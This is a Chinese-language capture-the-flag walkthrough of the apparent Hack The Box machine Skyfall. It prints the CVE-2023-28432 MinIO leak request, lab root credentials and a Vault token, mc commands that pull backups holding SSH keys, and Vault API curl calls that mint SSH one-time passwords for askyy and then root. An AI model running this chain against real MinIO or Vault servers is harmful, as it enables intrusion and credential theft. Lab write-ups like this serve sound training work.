信息收集&端口利用
使用nmap对端口进行扫描
nmap 10.10.11.254
访问80端口
没有可以利用的漏洞点,尝试目录扫描和子域名收集
目录扫描没有发现有价值的利用点
但是子域名扫描找到一个demo环境,将其添加进hosts文件后访问
界面中有提示访客用户名和密码,先尝试登录
该系统是一个minIO的对象存储系统,点击MinIO Metrics,虽然提示403禁止,但是经过403bypass后发现可以在末尾加上%0a的方式绕过
在最下方有一段新的域名
加入到hosts文件中,访问之
注意到MinIO有一个信息泄露漏洞CVE-2023-28432,利用漏洞能够查看到敏感信息,利用方式为
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: ip:9000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
效果如下图所示
获取到的敏感信息为
"MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww"
"MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0"
"MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
接下去使用MinIO Admin Client对MinIO容器进行管理
安装MinIO Admin Client
curl https://dl.min.io/client/mc/release/linux-amd64/mc \
--create-dirs \
-o $HOME/minio-binaries/mc
chmod +x $HOME/minio-binaries/mc
export PATH=$PATH:$HOME/minio-binaries/
安装完成后,利用之前拿到的用户名和密码将容器桶加入到自定义容器中
mc alias set myminio http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
myminio的名字为自定义,现在已经将他们容器桶中的数据导入进了我们的容器桶,查看有哪些内容
将容器桶内的文件都打包到本地进行查看
mc cp --recursive myminio/askyy/home_backup.tar.gz ./home_backup.tar.gz
查看压缩包中的文件
发现该文件为最新版本,缺少很多信息,因此选择下载旧的版本
mc cp --vid 3c498578-8dfe-43b7-b679-32a3fe42018f myminio/askyy/home_backup.tar.gz ./down.tar.gz
tar -xzvf down.tar.gz
翻阅文件后查看到有ssh私钥文件
但是无法登录到主机
继续翻阅文件后,在容器桶内的第二个压缩包中的.bashrc文件发现了另外一个域名地址
VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
由泄露的信息为VAULT_API_ADDR和VAULT_TOKEN猜测,此次登录ssh的方式为Vault+OTP(One-Time Password)
Vault登录ssh
Vault提供了一种创建一次性登陆密码的方式,它的工作原理如图:
首先我们需要在被登陆的服务器上配置vault-ssh-helper程序,它可以取代Linux默认的登陆验证程序,在用户传递了登陆用户名密码后,转而向Vault服务器请求验证用户名密码的正确性。用户首先登陆Vault,通过Vault创建一个属于目标服务器的otp,随后远程连接目标服务器,给出这组otp,在vault-ssh-helper验证通过后成功登陆,同时Vault服务器会在成功验证后删除这个otp,确保密码的确是一次性的。
下载工具
https://developer.hashicorp.com/vault/install?product_intent=vault#Linux
将配置文件导入进vault
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
验证token值是否有效
登录成功,下一步创建一个key_type参数设置为otp的角色;角色的CIDR列表所代表的所有计算机都应正确安装和配置助手
curl \
--header "X-Vault-Token: $VAULT_TOKEN" \
--request POST \
--data '{"ip":"10.10.11.254", "username":"askyy"}' \
$VAULT_ADDR/v1/ssh/creds/dev_otp_key_role
如图所示代表添加成功,使用该用户登录到ssh
./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254
出现这个界面表示需要通过OTP来登录,OTP的值已经由session给出,只需要将其复制到密码框即可
权限提升
查看当前用户能够执行的权限
-------------------------------------------------------更新分界线---------------------------------------------------------------
以root身份运行该程序
输出中说明了找到了Master token,但是需要启动debug模式来查看详情
在当前目录创建一个debug.log文件,并将其权限都修改为askyy
将调试模式的输出输出到我们创建的debug.log文件,并查看
能够获取到Master token值,再联想到本题获取user用户的权限,提权方式为修改vault环境变量token值,再添加一个root用户使用OTP登录
修改当前vault环境的token值
再添加一个admin用户(注意之前添加的是dev用户)
curl \
--header "X-Vault-Token: $VAULT_TOKEN" \
--request POST \
--data '{"ip":"10.10.11.254", "username":"root"}' \
$VAULT_ADDR/v1/ssh/creds/admin_otp_key_role
使用vault的admin用户模式去登录
提权成功